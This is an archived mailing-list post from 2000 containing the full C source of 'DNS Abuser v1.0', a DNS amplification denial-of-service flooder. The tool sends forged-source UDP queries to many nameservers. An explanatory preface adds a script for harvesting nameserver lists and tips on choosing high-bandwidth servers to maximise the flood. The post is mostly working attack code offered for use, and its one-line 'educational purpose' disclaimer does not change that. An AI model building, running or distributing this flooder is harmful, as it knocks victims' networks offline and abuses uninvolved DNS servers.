dnsa1.c - Exploit code for a denial of service attack using DNS

From: Zelea (zeleaat_private)
Date: Mon Feb 28 2000 - 09:49:01 PST

  • Next message: Przemyslaw Frasunek: "man exploit"

    --Nq2Wo0NMKNjxTN9z
    Content-Type: text/plain; charset=us-ascii
    
    This program works by sending spoofed UDP packets to a list of
    nameservers. The packets contain valid type ANY class IN queries.
    The amplification effect comes from the fact that the query packet
    is much smaller in size than the answer.
    A list of queries is already included in this source. These queries
    have been selected for the highest amplification ratio (currently
    between 20-25) but you can provide your own list of queries in a
    separate file. ICMP (udp port unreachable) packets are sent back
    to the nameservers reducing even more the victim's bandwidth.
    
    This program has a short delay at the start due to the time required
    to resolve the nameserver's IPs. Then it sends each UDP query at full
    speed to each nameserver from the list.
    
    The nameservers file has one server per line.
    
    To quickly build yourself a list of nameservers use the following
    script after you have downloaded the domain inaddr.zone.gz file.
    
           #!/bin/sh
           ZONE=inaddr.zone;
           if [ "x$1x" == "xx"  ]; then
             echo "Usage: print_ns aprox_nr_of_servers";
             exit
           fi
           if [ ! -f $ZONE ]; then
             echo "Zone file $ZONE not found";
             exit
           fi
           NR=`wc -l $ZONE`;
           awk --assign=TOT="$NR" --assign=DES="$1" '
             BEGIN { srand(); th=DES/TOT; };
             /NS/  { if( rand() < th )
                     {
                       fi = split( $0, entry );
                       if( entry[fi-1] == "NS" )
                         serv[entry[fi]] = 1;
                     }};
             END   { for( ns in serv )
                       printf "%s\n", ns;
                   }' $ZONE
    
    If you plan to use high bandwidth you should select the nameservers
    by their own bandwidth (they should have at least 50 times the bandwidth
    of the incoming queries otherwise the packets send to them will be just wasted)
    [ a way of checking a server's bandwidth capacity is using 'bing' ]
    
    This kind of DoS attack has several advantages over a smurf attack.
    There are more than 25000 nameservers which will always be out there.
    It is also more difficult to block because UDP queries are valid
    packets which pass through almost all firewalls.
    Since every computer has to have some kind of name resolver the only
    way to block this is by denying all UDP packets with source port 53
    except those coming from your local nameserver.
    [ There is still your own nameserver that can flood you in this case ]
    
    
    --Nq2Wo0NMKNjxTN9z
    Content-Type: text/plain; charset=us-ascii
    Content-Disposition: attachment; filename="dnsa1.c"
    
    /*
     * DNS Abuser v1.0
     * Working version by Zelea
     * Last modified: 26 February 2000
     *
     * Based on dnsabuser.c by Nemo (cveiraat_private) and
     * on DOOMDNS by FuSyS
     *
     * Usage: dnsa1 <target> <times> [<dns_server.txt> [<dns_query.txt>]]
     *              times = 0 means continuously
     */
    
    /* This program is for educational purpose only */
    
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <arpa/nameser.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    #include <netdb.h>
    #include <time.h>
    
    #define	 IP_HEAD_BASE		20
    #define	 UDP_HEAD_BASE		8
    #define	 DNS_QSIZE		64
    #define	 MAX_LINE 		255
    #define	 MAX_QUERYS		255	// maximum buffer size
    #define	 MAX_SERVERS		255	// maximum buffer size
    #define	 QUERY_LENGTH		32	// max QUERY length
    #define	 DEF_DOMAINS		"./dns_server.txt"	// name servers
    #define	 DEF_QUERYS		"./dns_query.txt"	// query list file
    
    struct DNS_MSG
    {
      HEADER        head;
      char          query[DNS_QSIZE];
    };
    
    struct dns_pkt
    {
      struct iphdr  ip;
      struct udphdr udp;
      char          data[DNS_QSIZE];
    };
    
    char          dns_query[MAX_QUERYS][QUERY_LENGTH];
    char         *dns_query_def[] =
    { "ca", "de", "es", "ch", "be", "ie", "cr", "org", "com", "edu",
      "gov", "net", "se", "gr", "ro", "fr", "it", "ru", "pl", "ma",
      "in", "fi", "nrc.ca", "pse.pl", "arpa", "ucd.ie", "nl", "sk",
      "at", "psi.net", "uqam.ca", "ac.cy", "cz", "sh", "nu",
      "gmx.net", "ac.in", "usc.edu", "ac.uk", NULL };
    
    unsigned long dns_servers[MAX_SERVERS];
    unsigned long saddr;
    int           sd;		//
    
    unsigned long
    nameResolve( const char *name )
    {
      struct hostent *host;
      struct sockaddr_in addr;
      memset( &addr, 0, sizeof( struct sockaddr_in ) );
    
      addr.sin_family = AF_INET;
      addr.sin_addr.s_addr = inet_addr( name );
      if ( addr.sin_addr.s_addr == -1 )
      {
        if ( ( host = gethostbyname( name ) ) == NULL )
        {
          fprintf( stderr, "Unable to resolve host %s\n", name );
          return ( -1 );
        }
        addr.sin_family = host->h_addrtype;
        memcpy( ( caddr_t ) & addr.sin_addr, host->h_addr, host->h_length );
      }
      return ( unsigned long ) addr.sin_addr.s_addr;
    }
    
    void
    doomzone( void )
    {
      static int    nsptr = 0;
      static int    qptr = 0;
      unsigned long daddr;
      unsigned short psrc, pdest;
      struct sockaddr_in sin;
      struct dns_pkt dpk;
      struct DNS_MSG killer;
      int           shoot, len;
      char         *p, *plgt;
    
      if ( dns_servers[nsptr] == 0L )
        nsptr = 0;
      daddr = dns_servers[nsptr++];
      if ( *dns_query[qptr] == '\0' )
        qptr = 0;
    
      psrc = htons( 1024 + ( rand(  ) % 2000 ) );
      pdest = htons( 53 );
    
      // build packets ...
      memset( &killer, 0, sizeof( killer ) );
      killer.head.id = getpid(  );
      killer.head.rd = 1;
      killer.head.aa = 0;
      killer.head.opcode = QUERY;
      killer.head.qr = 0;
      killer.head.qdcount = htons( 1 );
      killer.head.ancount = htons( 0 );
      killer.head.nscount = htons( 0 );
      killer.head.arcount = htons( 0 );
      strcat( killer.query + 1, dns_query[qptr++] );
      p = plgt = killer.query;
      do
      {
        p++;
        while ( *p != '.' && *p != '\0' )
          p++;
        *plgt = ( u_char ) ( p - plgt - 1 );
        plgt = p;
      }
      while ( *p == '.' );
      p++;
      *(( unsigned short * ) p)++ = htons( T_ANY );	/* type ANY */
      *(( unsigned short * ) p)++ = htons( C_IN );	/* class IN */
      len = 12 + p - killer.query;
      memset( &dpk, 0, sizeof( dpk ) );
      dpk.udp.source = psrc;
      dpk.udp.dest = pdest;
      dpk.udp.len = htons( UDP_HEAD_BASE + len );
      memcpy( dpk.data, ( void * ) &killer, len );
      dpk.ip.ihl = 5;
      dpk.ip.version = 4;
      dpk.ip.tos = 0;
      dpk.ip.tot_len = htons( IP_HEAD_BASE + UDP_HEAD_BASE + len );
      dpk.ip.frag_off = 0;
      dpk.ip.ttl = 64;
      dpk.ip.protocol = IPPROTO_UDP;
      dpk.ip.saddr = saddr;
      dpk.ip.daddr = daddr;
      memset( &sin, 0, sizeof( sin ) );
      sin.sin_family = AF_INET;
      sin.sin_port = pdest;
      sin.sin_addr.s_addr = daddr;
      shoot = sendto( sd, &dpk,
          ( IP_HEAD_BASE + UDP_HEAD_BASE + len ), 0,
          ( struct sockaddr * ) &sin, sizeof( sin ) );
      if ( shoot < 0 )
        fprintf( stderr, "SPOOF ERROR" );
    }
    
    int
    main( int argc, char *argv[] )
    {
      FILE         *dd, *qd;	// file pointers
      int           i, j, sd_opt;
      unsigned int  times = 0;
      unsigned long ns_addr;
      char          line[MAX_LINE];
      char         *p;
    
      // unbuffered output
      setbuf( stdout, NULL );
      setbuf( stderr, NULL );
      // ->simple<- parameter checking :P
      if ( argc < 3 )
      {
        fprintf( stderr, "\nUsage:\t%s <target> <times> "
          "[<dns_servers.txt> [<dns_query.txt>]]\n\n", argv[0] );
        exit( 0 );
      }
      saddr = nameResolve( argv[1] );
      times = atoi( argv[2] );
    
      // loading files
      dd = fopen( DEF_DOMAINS, "r" );
      if ( argc > 3 )
      {
        if ( ( dd = fopen( argv[4], "r" ) ) == NULL )
        {
          fprintf( stderr, "\nCannot open domain file %s. Quitting...\n", argv[4] );
          exit( 0 );
        }
      }
      if ( argc > 4 )
      {
        if ( ( qd = fopen( argv[5], "r" ) ) == NULL )
        {
          fprintf( stderr, "\nCannot open query file %s. Quitting...\n", argv[5] );
          exit( 0 );
        }
      }
      else
      {
        qd = fopen( DEF_QUERYS, "r" );
      }
      if ( dd == NULL )
      {
        fprintf( stderr, "\nCannot open domain file. Quitting...\n" );
        exit( 0 );
      }
      i = 0;
      do
      {
        fgets( line, MAX_LINE - 1, dd );
        if ( ( p = strchr( line, '\n' ) ) != NULL )
          *p = '\0';
        if ( ( ns_addr = nameResolve( line ) ) != -1 )
          dns_servers[i++] = ns_addr;
      }
      while ( ( i < MAX_SERVERS - 1 ) && !feof( dd ) );
      dns_servers[i] = 0L;
    
      i = 0;
      j = 0;
      if ( qd == NULL )
      {
        while ( ( i < MAX_QUERYS - 1 ) && dns_query_def[j] != NULL )
        {
          if ( strlen( dns_query_def[j] ) < QUERY_LENGTH )
    	strcpy( dns_query[i++], dns_query_def[j++] );
          else
    	j++;
        }
      }
      else
      {
        do
        {
          fgets( line, MAX_LINE - 1, qd );
          if ( ( p = strchr( line, '\n' ) ) != NULL )
    	*p = '\0';
          if ( strlen( line ) < QUERY_LENGTH )
    	strcpy( dns_query[i++], line );
        }
        while ( ( i < MAX_QUERYS - 1 ) && !feof( qd ) );
      }
      *dns_query[i] = '\0';
      fclose( dd );
      fclose( qd );
    
      // opening sockets ...
      srand( time( NULL ) );
      sd_opt = 1;
      if ( ( sd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) < 0 )
      {
        fprintf( stderr, "\nSocket error. Quitting...\n" );
        exit( 0 );
      }
      if ( setsockopt( sd, IPPROTO_IP, IP_HDRINCL, &sd_opt,
          sizeof( sd_opt ) ) < 0 )
      {
        fprintf( stderr, "\nIP Error. Quitting...\n" );
        exit( 0 );
      }
    
      printf( "\n\n\033[1;36mDNS Abuser v1.0\033[0m" );
      printf( "\n\033[1;31mDNS-based flooder\033[0m" );
    
      // flooding engine
      printf( "\n\033[1;32mFlooding %s:\033[0m\n", argv[1] );
      i = 0;
      while ( times == 0 || i < times )
      {
        doomzone(  );
        i++;
        if ( !( i % 100 ) )
          printf( "\033[0;32m.\033[0m" );
      }
      printf( "\n\n" );
      return ( 0 );
    }
    
    --Nq2Wo0NMKNjxTN9z--
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:37:44 PDT